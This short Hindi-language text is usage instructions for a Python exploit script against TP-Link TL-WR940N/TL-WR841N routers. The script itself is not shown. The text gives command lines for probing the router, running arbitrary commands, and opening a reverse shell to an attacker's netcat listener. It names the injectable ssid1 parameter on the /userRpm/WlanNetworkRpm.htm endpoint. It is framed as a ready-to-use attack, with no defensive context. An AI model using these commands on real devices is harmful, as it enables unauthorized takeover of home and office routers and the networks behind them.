
TP-Link TL-WR940N/TL-WR841N Command Injection Vulnerability के लिए Python Exploit
बुनियादी कमजोरी जांच:
python tplink_exploit.py -t 192.168.1.1 -u admin -p admin
कस्टम कमांड निष्पादित करें:
python tplink_exploit.py -t 192.168.1.1 -u admin -p admin -c "your_command_here"
रिवर्स शेल (पहले nc -lvnp 4444 से लिस्टनर सेट करें):
python tplink_exploit.py -t 192.168.1.1 -u admin -p admin --lhost YOUR_IP --lport 4444
महत्वपूर्ण नोट्स:
यह कमजोरी /userRpm/WlanNetworkRpm.htm एंडपॉइंट के ssid1 पैरामीटर में अनुचित इनपुट स्वच्छता के कारण मौजूद है, जो विशेष रूप से तैयार किए गए अनुरोधों के माध्यम से कमांड इंजेक्शन की अनुमति देती है।